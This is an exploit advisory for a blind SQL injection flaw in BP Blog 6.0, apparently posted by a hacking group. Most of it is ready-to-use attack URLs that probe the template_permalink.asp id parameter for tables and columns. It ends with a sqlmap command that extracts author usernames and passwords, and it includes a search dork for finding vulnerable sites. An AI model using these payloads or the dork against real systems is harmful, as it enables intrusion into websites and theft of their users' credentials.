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BP Blog 6.0 (id) Remote Blind SQL Injection Vulnerability
JosS, Jose Luis Góngora Fernández
Spanish Hackers Team
www.spanish-hackers.com
[+] Info:
[~] Software: bp blog
[~] HomePage: http://blog.betaparticle.com/
[~] Exploit: Blind SQL Injection [High]
[~] Vuln file: template_permalink.asp
[~] Vuln file2: template_archives_cat.asp
[~] template_permalink.asp?id=[blind]
[~] template_archives_cat.asp?cat=[blind]
[~] Bug found by JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.
[~] Dork: "Powered by bp blog 6.0"
[+] Compression:
[~] True: http://localhost/[path]/template_permalink.asp?id=78 and 1=1
[~] False: http://localhost/[path]/template_permalink.asp?id=78 and 1=2
[+] Exploding:
[*] Checking table:
[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM
[TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from
[TABLE])
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM
tblauthor) >= 0
[~] Example2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from
tblauthor)
[~] If you don't see any error, it is that table exist.
[*] Checking columns number of table:
[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM
[TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM
tblauthor) = 1
[~] If you don't see any error, the table has 1 columns.
[*] Checking columns of table:
[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count([COLUMN]) FROM
[TABLE]) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT
Count(fldauthorpassword) FROM tblauthor) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT
Count(fldauthorusername) FROM tblauthor) >= 0
[~] If you don't see any error, the column exists.
[*] User and password:
[~] Exploit: ./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "text" -e "sql
query"
[~] Example: ./sqlmap.py -u "http://../template_permalink.asp?id=78" -p id -a
"./txt/user-agents.txt" -v1 --string "bp blog" -e "<SELECT
concat(fldauthorusername,0x3a,fldauthorpassword) from tblauthor where 1=1>"
_EOF_
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